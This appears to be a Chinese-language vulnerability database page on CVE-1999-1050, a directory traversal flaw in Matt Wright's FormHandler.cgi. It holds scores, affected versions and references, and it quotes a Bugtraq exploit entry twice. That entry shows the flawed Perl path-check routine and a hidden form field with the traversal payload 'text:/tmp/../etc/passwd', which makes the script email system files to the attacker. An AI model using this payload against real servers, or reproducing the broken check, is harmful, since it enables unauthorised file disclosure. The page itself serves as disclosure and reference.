CVE-1999-1050
CVSS5.0
发布时间 :1999-11-12 00:00:00
修订时间 :2008-09-05 16:18:36
NMCOES    

[原文]Directory traversal vulnerability in Matt Wright FormHandler.cgi script allows remote attackers to read arbitrary files via (1) a .. (dot dot) in the reply_message_attach attachment parameter, or (2) by specifying the filename as a template.


[CNNVD]FormHandler.cgi回复附件漏洞(CNNVD-199911-047)

        Matt Wright FormHandler.cgi脚本存在目录遍历漏洞。远程攻击者可以通过(1)reply_message_attach附件参数中的..(点 点)或者(2)将文件名指定为模板来读取任意文件。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:matt_wright:formhandler.cgi:2.0
cpe:/a:matt_wright:formhandler.cgi:3.0
cpe:/a:matt_wright:formhandler.cgi:1.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1050
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-1050
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199911-047
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/static/3550.php
(VENDOR_ADVISORY)  XF  formhandler-cgi-absolute-path(3550)
http://www.securityfocus.com/bid/799
(VENDOR_ADVISORY)  BID  799
http://www.securityfocus.com/bid/798
(VENDOR_ADVISORY)  BID  798
http://www.securityfocus.com/archive/1/34939
(VENDOR_ADVISORY)  BUGTRAQ  19991116 Re: FormHandler.cgi
http://www.securityfocus.com/archive/1/34600
(UNKNOWN)  BUGTRAQ  19991112 FormHandler.cgi

- 漏洞信息

FormHandler.cgi回复附件漏洞
中危 路径遍历
1999-11-12 00:00:00 2005-10-20 00:00:00
远程※本地  
        Matt Wright FormHandler.cgi脚本存在目录遍历漏洞。远程攻击者可以通过(1)reply_message_attach附件参数中的..(点 点)或者(2)将文件名指定为模板来读取任意文件。

- 公告与补丁

        Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 漏洞信息 (19620)

Matt Wright FormHandler.cgi 2.0 Reply Attachment Vulnerability (EDBID:19620)
unix remote
1999-11-16 Verified
0 m4rcyS
N/A [点击下载]
source: http://www.securityfocus.com/bid/799/info

Any file that the FormHandler.cgi has read access to (the cgi is typically run as user 'nobody' on Unix systems) can be specified as an attachment in a reply email. This could allow an attacker to gain access to sensitive files such as /etc/passwd simply by modifying the form document. 

@ALLOWED_ATTACH_DIRS = ('all'); # hmm, nice defaults ;)
@RESTRICTED_ATTACH_DIRS = ('/etc/');
[...]

if (&valid_directory($filename)) { # let's check if file is allowed
push(@files, $filename); [...] } # to send
[...]

sub valid_directory {
local ($filename) = $_[0];
local ($allowed_path, $restricted_path);
local($valid_dir) = 0;
if ($ALLOWED_ATTACH_DIRS[0] =~ /^all$/i) { $valid_dir = 1 }
else {
foreach $allowed_path (@ALLOWED_ATTACH_DIRS) {
$valid_dir = ($filename =~ /^$allowed_path/); # silly ...
last if $valid_dir;
}
}
foreach $restricted_path (@RESTRICTED_ATTACH_DIRS) {
$valid_dir = ($filename !~ /^$restricted_path/); # once more
last if !$valid_dir;
}
return $valid_dir;
}
[...]

How to d/l /etc/passwd ? Just add this to the form:
<INPUT TYPE="hidden" NAME="reply_message_attach"
VALUE="text:/tmp/../etc/passwd"> 		

- 漏洞信息

7012
Matt Wright FormHandler.cgi reply_message_attach Parameter Arbitrary File Access
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Unknown

- 漏洞描述

FormHandler.cgi contains a flaw that may allow a remote attacker to access arbitrary files. The problem is that the script uses hard coded physical paths for templates. It is possible that the flaw may allow a remote attacker to save templates as files that reference absolute pathnames in the form document, e.g. /etc/passwd, which would the script email to a specified email address resulting in a loss of integrity.

- 时间线

1999-11-12 Unknow
Unknow Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

- 漏洞信息

FormHandler.cgi Reply Attachment Vulnerability
Access Validation Error 799
Yes Yes
1999-11-16 12:00:00 2009-07-11 12:56:00
Posted to bugtraq on November 16, 1999 by m4rcyS <marcys@free.com.pl>.

- 受影响的程序版本

Matt Wright FormHandler.cgi 2.0

- 漏洞讨论

Any file that the FormHandler.cgi has read access to (the cgi is typically run as user 'nobody' on Unix systems) can be specified as an attachment in a reply email. This could allow an attacker to gain access to sensitive files such as /etc/passwd simply by modifying the form document.

- 漏洞利用

@ALLOWED_ATTACH_DIRS = ('all'); # hmm, nice defaults ;)
@RESTRICTED_ATTACH_DIRS = ('/etc/');
[...]

if (&amp;valid_directory($filename)) { # let's check if file is allowed
push(@files, $filename); [...] } # to send
[...]

sub valid_directory {
local ($filename) = $_[0];
local ($allowed_path, $restricted_path);
local($valid_dir) = 0;
if ($ALLOWED_ATTACH_DIRS[0] =~ /^all$/i) { $valid_dir = 1 }
else {
foreach $allowed_path (@ALLOWED_ATTACH_DIRS) {
$valid_dir = ($filename =~ /^$allowed_path/); # silly ...
last if $valid_dir;
}
}
foreach $restricted_path (@RESTRICTED_ATTACH_DIRS) {
$valid_dir = ($filename !~ /^$restricted_path/); # once more
last if !$valid_dir;
}
return $valid_dir;
}
[...]

How to d/l /etc/passwd ? Just add this to the form:
&lt;INPUT TYPE="hidden" NAME="reply_message_attach"
VALUE="text:/tmp/../etc/passwd"&gt;

- 解决方案

Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站